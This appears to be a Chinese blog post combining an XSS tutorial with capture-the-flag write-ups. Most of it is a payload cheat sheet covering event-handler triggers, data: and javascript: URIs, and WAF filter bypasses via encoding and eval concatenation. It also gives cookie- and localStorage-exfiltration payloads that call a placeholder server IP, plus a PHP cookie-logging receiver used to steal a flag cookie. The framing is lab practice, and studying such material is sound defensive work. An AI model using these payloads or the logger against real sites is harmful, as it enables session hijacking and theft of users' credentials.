本文最后更新于 2026年4月16日 上午
前置知识-XSS漏洞
首先xss漏洞是攻击者通过在输入框内拼接,插入,执行恶意js代码导致的由前端逐渐转向后端的前端漏洞
而常见的注入点有:文件上传 jsonp的callback函数 富文本编辑器 用户名 用户资料/信息 评论区/聊天框 备注 后台配置项(网站标题 Logo链接等) 搜索框(以下是”xxx”的搜索结果) 报错(“xxx”输入存在错误/敏感字符),而文件上传又分为pdf,svg等类型的文件
能干的事却很多:
- 盗取用户Cookie
- 盗取用户输入/返回的敏感信息
- 挂广告/自动跳转广告页面/篡改页面从而劫持页面
- 配合CSRF, 让用户完成各种操作
- 让用户隐式访问别的网站造成DDOS
- 会话固定(让用户带有指定cookie进行登录, 从而用该cookie对账号进行接管)
- 蠕虫传播
- 病毒下载
- 本地RCE(旧版本浏览器)
传自大佬blog:XSS 攻击与过滤绕过方法 总结 - yuccun’s blog
首先是最基础的xss探测框架:
1 2 3 4
| <script src="http://127.0.0.1/1.js"></script>
<iframe src="http://127.0.0.1/1.html"></iframe>
|
随后是基本框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| onload直接触发 <iframe onload=alert(1);></iframe> <script onload=alert(1);></script> <body onload=alert(1);> <svg onload=alert(1);> 当<svg onload=alert(1);>或者其他payload不管用时,可以试试用/当分隔符 <embed src=1 onload=alert(1)> onerror触发(使用正确的src/rel/href/data标签即可使用onload事件) <img src=1 onerror=alert(1);> <link rel=stylesheet href=1 onerror=alert(1)> <video><source onerror=alert(1)> <audio src=1 onerror=alert(1);> <object data=1 onerror=alert(1);>
<input onfocus=alert(1) autofocus> <input onblur=alert(1) autofocus> <input onfocus=alert(1);> <input onblur=alert(1);> <input oninput=alert(1);> <input onchange=alert(1);> 其它(这里只演示onfocus搭配autofocus,还可使用类似上面的搭配) <textarea onfocus=alert(1) autofocus> <select onfocus=alert(1) autofocus></select> <button onfocus=alert(1) autofocus></button> <a href= onfocus=alert(1) autofocus></a>
<a style=content-visibility:auto oncontentvisibilityautostatechange=alert(1)> <h style=content-visibility:auto oncontentvisibilityautostatechange=alert(1)> ... (除了script/link/style外的几乎所有标签)
<details open ontoggle=alert(1);> //有open属性可自动触发,没有则要点击细节栏 <body onscroll=alert(1);> //滚动触发 <details ontoggle=alert(1);> //要点击细节栏 <body onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <div oncontextmenu=alert(1);>右键点我</div> //需要右键点击元素 <svg onmousewheel=alert(1)> //需要滚动元素 <form onreset=alert(1)><input type=reset></form> //需点击重置按钮
|
1 2 3
| <iframe src=javascript:alert(1);></iframe> <a href=javascript:alert(1);>xxx</a> <form action=Javascript:alert(1)><input type=submit>
|
data伪协议
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <script src="data:,alert%28%2Fxss%2F%29"></script> <script src="data:;base64,YWxlcnQoL3hzcy8p"></script> <iframe src="data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E"></iframe> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> <iframe src="/admin"> <iframe src="javascript:"> <iframe src="data:text/html,hello"> <iframe srcdoc=""> <iframe src="data:text/plain;base64"> <iframe src="data:image/png;base64"> <iframe src="data:application/pdf;base64"> <iframe src="data:application/octet-stream;base64"> <iframe src="data:image/svg+xml;base64"> <iframe src="data:text/html;base64"> <object data="data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E"></object> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> <embed src="data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E"> <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
随后重点来了(以下都得在服务器里实现):
先来一个简单的链接服务器的payload:
1
| <script>document.location='http://服务器IP/cookie_get.php?cookie='+document.cookie</script>
|
获取cookie
1 2 3 4 5 6
| location.href='http://公网ip:端口号/?'+document.cookie location.assign('http://公网ip:端口号/?'+document.cookie) location.replace('http://公网ip:端口号/?'+document.cookie) window.open('http://公网ip:端口号/?'+document.cookie) 通过XMLHttpRequest/fetch 通过动态创建资源标签(img/iframe/script/link/embed/video/audio标签),并用其src属性进行访问
|
获取Localstorage/Sessionstorage
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| for (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i); const value = localStorage.getItem(key); new Image().src = `http: }
for (let i = 0; i < sessionStorage.length; i++) { const key = sessionStorage.key(i); const value = sessionStorage.getItem(key); new Image().src = `http: }
|
配合csrf使用
1 2 3 4 5
| 用资源标签(img/iframe/script/link/embed/video/audio标签),并用其src属性进行访问 造成GET请求 利用csrf的poc 配合XMLHttpRequest/fetch 造成GET/POST等请求 配合动态创建资源标签(img/iframe/script/link/embed/video/audio标签),并用其src属性进行访问 4造成GET/POST等请求
|
关键词绕过
定字符过滤绕过
空格过滤绕过
- 用
/或/**/或%09代替
- 利用引号(标签中选项的值若用引号包裹, 则无需与其它选项用空格隔开)
引号过滤绕过
- 使用反引号代替(仅js, js中的字符串中引号可用反引号代替)
- 不用引号(html中选项对应的值可无需引号包裹)
- 使用
String.fromCharCode(<ASCII码>,...)方法创建字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| -- 空格过滤绕过 --- <input/onfocus=alert(1);> <input/**/onfocus=alert(1);> <input/type='text'onfocus=alert(1);> 注:若事件选项对应的js代码没有用引号包裹,则不能用/和/**/与后续html选项隔开,因为若这样做系统会直接将后续内容也当作js代码的一部分,所以要不将后续的选项移到前面来,要不加上引号或其它空白符来截断 系统认定为js代码的 范围 -- 引号过滤绕过 -- <input type=text onfocus=alert(1);> <input type="text" onfocus=alert(`hello`);> <input type="text" onfocus=alert(String.fromCharCode(104,101,108,108,111));> -- 点过滤 -- <input type=text onfocus=alert(document['cookie']);>
|
关键字过滤(标签/属性)
- 大小写绕过(标签及选项对大小写不敏感)
- 假闭合
>放入属性值中, 让waf以为标签已闭合, 可绕过 不过滤对应标签, 而检测对应标签内是否有危险属性、内容的waf 注: >必须使用引号包裹, 不然真的会闭合
- 内部文本标签假不闭合 使用内部会被当成纯文本而不会解析标签, 这样的标签有
title/textarea/xmp/style/noscript开始标签放最前, 结束标签放属性值中, 让waf以为这标签没闭合, 以为后续不会解析, 从而绕过
- 多尖括号绕过 基于浏览器特性, 其会以最后一个
<作为标签的开始标志, 可绕过精确匹配标签格式的waf
- 杂属性绕过 让标签加上杂属性, 可绕过精确匹配标签格式的waf
- 等号两边空白符
属性=属性值的等号两边可以插入任意空白符(空格 制表符 换行符), 而不影响解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| -- 大小写绕过(标签名/属性名) -- <iNPuT oNfOCus="alert(1);"> -- 假闭合(属性名/属性值/其它内容) -- <iframe x=">" src=javascript:alert(1);></iframe> -- 优先级标签(标签名/属性名/属性值/其它内容) -- <title><img src=</title>><img src=x onerror="alert(`xss`);"> <textarea><img x=</textarea>><img src=1 onerror="alert(`xss`);"> <xmp><img x=</xmp>><img src=1 onerror="alert(`xss`);"> <style><img src=</style>><img src=1 onerror="alert(`xss`);"> <noscript><img x=</noscript>><img src=1 onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效 -- 多尖括号(标签名) -- <<script>alert("xss");<</script> -- 杂属性绕过(标签名) -- <script ttt=aaa bbb=ccc>alert(1)</script> -- 等号两边空白符(属性名) -- <input onfocus = "alert(1);">
|
关键字过滤(js/属性值)
- 编码绕过
- 拼接字符串, 再用eval()函数执行, 或者在中括号中用于引用属性/方法(所有的函数都是window对象的方法)
- 假注释(让waf以为后面js已注释, 可绕过对js的检测)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| -- 编码绕过(属性值) -- 实体编码 (html可识别被实体编码的选项值, script中不行) <input onfocus=alert('hi');> <input onfocus="alert(2)"> <script>alert(1)</script> 通过伪协议编码(仅限用于可填url的选项) <iframe src="data:text/html,url编码"></iframe> <iframe src="data:text/html;base64,base64编码"></iframe> -- 编码绕过(js) -- url编码/ascii编码/base64编码 配合eval和对应解码函数 <input onfocus="eval(unescape('url编码'))"> <input onfocus="eval(String.fromCharCode(<ascii码>,...))"> <input onfocus="eval(atob('base64编码'))"> Unicode编码(\u)/hex编码(\x) 配合eval函数(js能自动解析包含这两种编码的字符串) <input onfocus=eval('Unicode编码或hex编码')> --- 拼接绕过(js) -- <input onfocus="a='ale';b='rt';c='(1)';eval(a+b+c)";> <input onfocus=window["ev"+"al"]("ale"+"rt(1)")> <input onfocus=window["al"+"ert"](document["co"+"okie"]);> -- 假注释(js) -- <input onfocus="a='//';alert(1);">
-- 尖括号绕过 -- <和>== < 和 >
|

首先提示了flag在cookie里面,于是就可以用xss来获取cookie了
现在自己的服务器里面传上回弹xss的🐎

1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
$cookie = $_GET['cookie'] ?? ''; $ip = $_SERVER['REMOTE_ADDR']; $time = date('Y-m-d H:i:s'); $log = "[$time] IP: $ip | Cookie: $cookie\n";
file_put_contents('/var/www/html/cookies.txt', $log, FILE_APPEND);
header('Location: https://www.baidu.com'); ?>
|
随后构造payload:
1
| <script>document.location='http://我的ip/cookie_get.php?cookie='+document.cookie</script>
|

随后就可以cat一下回显数据了,发现flag:

登陆框存在反射型XSS
这题讲一下思路
这边发现登录框有一个前端验证js,提取一下有用的信息
发现服务器将输入的username参数值直接反射到HTML中的input标签的value属性中
于是构造payload
1
| <img src=x onerror="alert(document.cookie);fetch('/flag').then(r=>r.text()).then(d=>alert(d))">
|
解释一下
首先利用简单的alert发现被拦截,然后就可以试试onload,onerror,img等事件处理器绕过script标签
接着试着抓取用户cookie来触发xss漏洞(因为本靶场的通关条件为触发xss漏洞)
所以这题考察我们对于xss漏洞过滤的绕过
于是就有了更多绕过姿势:
1 2 3
| <p>1</p> "><p>1</p><" "><script>alert(1)</script><"
|
等等等等一系列方式
另外再附上几条常见payload组合技:
1 2 3 4 5 6 7
| <img src=# onerror='new image().src="http://VPS地址:1145/?"+btoa(document.cookie)"'> <img src=x onerror="new Image().src='http://你的IP:1145/?c='+btoa(document.cookie)"> <video src=x onerror="new Image().src='http://ip:1145/'+encodeURIComponent(document.cookie)"></video> <ImG sRc=x OnErRoR="new Image().src='http://你的IP:1145/'+window['d'+'ocument']['c'+'ookie']"> <scrscriptipt>fetch('http://ip:1145/?c='+document.cookie);</scrscriptipt> <ImG sRc=x OnErRoR="fetch('/',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'inputbox='+encodeURIComponent(window['d'+'ocument']['c'+'ookie'])})"> ---外带不一定出网 <img src=x onerror="fetch('http://IP:1145/'+encodeURIComponent(document.cookie))" style="display:none">
|

特殊情况